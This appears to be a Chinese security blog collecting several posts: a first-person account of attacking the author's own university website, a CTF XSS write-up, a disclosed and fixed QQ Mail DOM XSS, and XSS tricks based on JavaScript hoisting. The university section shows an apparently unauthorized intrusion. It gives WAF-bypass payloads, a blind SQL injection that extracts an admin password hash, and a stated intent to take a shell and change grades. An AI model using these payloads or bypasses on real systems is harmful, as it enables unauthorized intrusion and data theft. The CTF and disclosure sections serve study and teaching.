无论是出于哪种情怀,每个黑客都希望黑一次自己的母校。
而对于杭电的网站,我的情怀是畏惧的。 ———— 毕竟它带了一个很厉害的WAF
大一时候我不敢,因为阅历不够。
大二时候我不敢,因为经验不足。
现在我终于想来挑战一下了。

首先杭电的WAF 在我眼里是这样的
[客户] -> [WAF服务器(代理)] -> [内网服务器(HTTP服务)]

使用大量payload轰炸WAF,得出几个可以简单判断是否为注入的payload

id=3333.0or 1=1
id=3333.0%26%26 1=1

主要是因为整个防火墙对 select 特别敏感,敏感到我fuzz出来他的判断是类似

[a-zA-Z0-9_]select[a-zA-Z0-9_]

这样才会白名单放行,其他字符统统...
因此几乎不可能注入出来数据,当然不排除用这招:

load_file("c:\\www\\config.php") like "%%"

拿到数据库配置文件再进行外网连接MYSQL服务器的想法。
当然我在一个注入点始终找不到WEB的真实路径,后来看了下,3306端口也是关闭的,放弃。

后来听老司机说,闪讯其实是在杭电某个内网的,可以访问内网服务器,我瞬间来了精神,毕竟我是用闪讯的高端玩家。

老司机还开了一个网站在杭电的内网服务器中,贴心的给我写了个 xxx.php 功能类似 gethostbyname() 给我一个C参数,这样也省的我去扫描网段,直接用域名去查询内网地址,然后修改一下 HOSTS 文件,做一个假的域名绑定。

现在,我的局面变成了
[客户] -> [内网服务器(HTTP服务)]
我开心的笑了。

呵呵哒,变你妹啊,内网似乎还有一个防火墙!
没错,竟然用了两只防火墙!
我的局面现在是
[客户] -> [内网防火墙] -> [内网服务器(HTTP服务)]

当然后来发现有些网段其实依旧用着那个透明代理的防火墙。

挑战一下这只防火墙,发现比代理防火墙脆弱一些,嘻嘻嘻,开工。

有些函数被防火墙拦截,直接返回 CONNECTION_ABORED,这点不好,大多数可以用 反单引号+函数名+反单引号+() 绕过之

然后我又陷入了窘境。 information_schema.schemata
information_shema[*]. 这一段竟然在防火墙 黑名单,也就是出现 information_schema,无论后头还有啥,总之是不能有.了
呵呵哒

估计是有绕过办法,但显然超出我的能力范围~
不能查询表名,只能猜表名了,猜了几个注入点,都不对,最终猜到一个,老天开眼啊!

最后有payload

id=2222.0and%20(select`password`from(user)%20limit%201)like("ce13e012c61d9db6253b4d2e%")

这网站还总是挂,花了半小时才猜出来一整串MD5,查询之,发现明文。

猜后台为

/index.php/admin

登录!成功拿下!是时候拿shell,提权,内网渗透,修改成绩,哦呵呵呵呵呵~~
我已经迫不及待看到加载条读满然后进入绚丽的后台界面了呢!!
...
...
...
后台

去你妹的,老子不玩了!

据说这题困住了很多打开easy-xss的萌新们,都说好坑啊,easy-xss 不easy啊,怎么破!
那么只能说你脑洞还是开小咯~

<script src="百度jquery"></script>
<script>
var msg = '输出点1';
var id='输出点2';
(function(){
    try{
        $.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
    }catch(err){
        document.write(msg);
    }
    var debug='输出点3';
})();
</script>

首先看三个输出点:
第一处,单引号转换成" ,不过滤\,但是/会被清空,也就是说,无法构造</script>闭合标签,也没办法闭合'
第二处,所有输入内容强制int,同样不能闭合'
第三处,虽然不过滤任何内容,但是限制最大长度为10
乍看之下,不能通过任意一处,构造XSS。但是如果能 catch(err) 从而进行 document.write ,则可以构造XSS代码。

附上三种解题思路:

  1. 官方解答[出题者的思路]
    详情看:http://nohackair.net/archives/5.fuckit,通过输出点3构造为 var debug='';var id='';
    此时在function中,var id得到提升,id为 undifined,此时进行 .toString() 会报错,从而引发document.write

  2. 超长referer导致百度jquery报错版
    有选手通过机智的fuzz,发现超长的referer会导致百度jquery加载 400错误,jquery加载错误,也就不能用$.get(),也直接引发了catch(err),最终导致了document.write。

  3. 用xss-filter杀掉jquery
    这个思路应该来自某CTF,我好像是看到过,通过url增加参数 &fuck=<script src="百度jquery"></script> chrome会自动匹配输入点和输出点,然后在渲染时候杀掉html里的jquery加载代码,也成功导致无法加载jquery,同样的引发了catch(err)

首先发现一处getcontent

http://mail.qq.com/cgi-bin/readtemplate?t=compose&check=false&getcontenturl=http://mail.qq.com/test

查看调用的函数

if(c&&/^https?:\/\/([\w]+\.)?mail\.qq\.com(\/)/i.test(c))
{
b.loadJsFile(c,false,b.document,function(){
if(!b.goAsyncContent||!b.goAsyncContent.content)
{
b.goAsyncContent={};
b.showError("\u90AE\u4EF6\u5185\u5BB9\u83B7\u53D6\u5931\u8D25");
}
});...

此处正则判断了 https://xxx.mail.qq.com/xxx
如果正则返回true,则loadJsFile(URL)

查看loadJsFile()

function loadJsFile(e, a, d, b, c, f) {
    var n = getTop(),
    j = d || document,
    h = typeof b == "function",
    l,
    m,
    k = n.loadJsFile,
    o = n.getRes(e),
    i = k._oDatas || (k._oDatas = {});
    if (QMDistributeDomain.isRelativeUrl(o)) {
        o = QMDistributeDomain.addHost(o);
    }
    if (typeof(f) == 'boolean') {
        f = {
            bAutoRemove: f
        };
    } else if (!f) {
        f = {};
    }
    if (a) {
        m = k.getLoadedScript(o, j);
        if (m) {
            if (h) {
                var p = m.getAttribute("_key_");
                if (i[p] === true) {
                    callBack.call(m, b);
                } else {
                    i[p].push(b);
                }
            }
            return m;
        }
    }
    m = j.createElement("script");
    if (!c) {
        c = {};
    }
    if (typeof(c.crossOrigin) != 'string') {
        if (c.crossOrigin !== false && k.checkCrossOrigin(o)) {
            c.crossOrigin = '*';
        } else {
            delete c.crossOrigin;
        }
    }
    if (f.bReload) {
        o += (o.indexOf('?') != -1 ? '&': '?') + 'r=' + Math.random();
    }
    n.E(c,
    function(r, q) {
        m.setAttribute(q, r);
    });
    var p = n.unikey();
    m.setAttribute("_key_", p);
    i[p] = [];
    function g() {
        var q = this,
        r = q.getAttribute("_key_");
        callBack.call(q, b);
        n.E(i[r],
        function(s) {
            s();
        });
        i[r] = true;
        if (f.bAutoRemove) {
            n.removeSelf(m);
        }
        q.onreadystatechange = q.onload = q.onerror = null;
    } (GelTags("head", j)[0] || j.documentElement).appendChild(extend(m, {
        onerror: function() {
            if (c.crossOrigin) {
                debug('crossOrigin error file:' + o);
                n.ossLogCustom('delay', 'all', 'corsError', e);
                n.LogKV({
                    sValue: 'getinvestigate|jsload|cors|jserr'
                });
                c.crossOrigin = false;
                f.bReload = true;
                n.removeSelf(m);
                m.onreadystatechange = m.onload = m.onerror = null;
                k(e, false, d, b, c, f);
            } else {
                debug('file load error:' + o);
            }
        },
        onload: g,
        onreadystatechange: function() {
            var q = this; ({
                loaded: true,
                complete: true
            } [q.readyState]) && g.call(this);
        }
    },
    {
        type: "text/javascript",
        charset: c.charset || "gb2312",
        src: c.crossOrigin ? (o.indexOf('?') > 0 ? o + '&r=o': o + '?r=o') : o
    }));
    return m;
}

是动态加载JS的函数。
但是结合前面,只能加载 *.mail.qq.com/下的文件

绕过: jsonpToJs
由于jsonp的callback 通常可以自定义,因此通常可以构造成任意JS语句
存在 *.mail.qq.com/ 下的jsonp 可以通过修改callback使得内容看起来是这样

alert()//([{title : "cgi exception"...);

由于//注释了后面的内容,因此成功alert(),进而可以构造出加载外部域JS,虽然,寻找这样一个jsonp犹如大海捞针。
domxss

**此漏洞状态为:已修复

漏洞涉及的存在风险的jsonp由于漏洞并未修复,不公开。

Xss 无奇不有,就如最近遇到的这个就很奇葩

<script>
var msg = 'a';//msg为 Get请求得到的值,然而会过滤',无法xss
var id='1';//id为 Get请求得到的值,强制int
(function(){
    try{
        $.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
    }catch(err){
        document.write(msg);
    }
{xsshere}
})();
</script>

其实这里的xss本来只要一句 alert(); 就够了,然而无奈这里竟然有waf和强大的xss filter拦截!

细看代码,似乎怎么也绕不过,如果$.get()能报错多好,如果能到document.write()...似乎是可以绕过waf和xssfilter的(因为可以js编码)
$.get()似乎是不能报错了,id.toString()呢..
突然我想到了妙计!

通过javascript hoisting,在xss here处输入
var id = '1';
此时waf对这串代码表示满意,在msg处输入js编码的xsscode,此时:

<script>
var msg = '\x3c\x3e';//这是一串xss
var id='1';//id为 Get请求得到的值,强制int
(function(){
    try{
        $.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
    }catch(err){
        document.write(msg);
    }
    var id = '1';
})();
</script>

整个代码看起来应该是这样:

<script>
var msg = '\x3c\x3e';//这是一串xss
var id='1';//id为 Get请求得到的值,强制int
(function(){
    var id;//javascript hoisting = undefined
    try{
        $.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
    }catch(err){
        document.write(msg);
    }
    id = '1';
})();
</script>

从而成功导致了id.toSring();成为error , 进一步到了 document.write();
xss success!

前段时间发现一个很奇怪的xss,它的输出点在类似:

<script>
thisisanerrorfunc();//Error Here
{xsscodehere}//Xss Here
</script>

由于在xss输出点的前面调用了一个错误的函数,导致 xsscode alert(); 不执行了

这也不是很罕见的问题,经常会出现xss在<script>标签中而前面的代码已经gg的情况。

这个时候我们就应该考虑 javascript 解释的优先级

在我看来,它就像是把全部javascript代码重新排序,比如一段代码为

function a(){var a=1}
alert(1);
function b(){var b=1}

最后解释起来应该是

function a(){var a=1}
function b(){var b=1}
alert(1);

因此在这个案例里,应该用function覆盖 逃过错误中断,
我在前面的代码中找到了类似这样的代码:

function kit(){document.write('xxx')}
kit()

在这儿定义了kit()函数并且调用,那么最后的xss payload应该是这样的(全文)

function kit(){document.write('xxx')}
kit();
thisisanerrorfunc();//Error
function kit(){alert()}//Xss

成功覆盖了kit函数并且绕过了javascript的错误中断!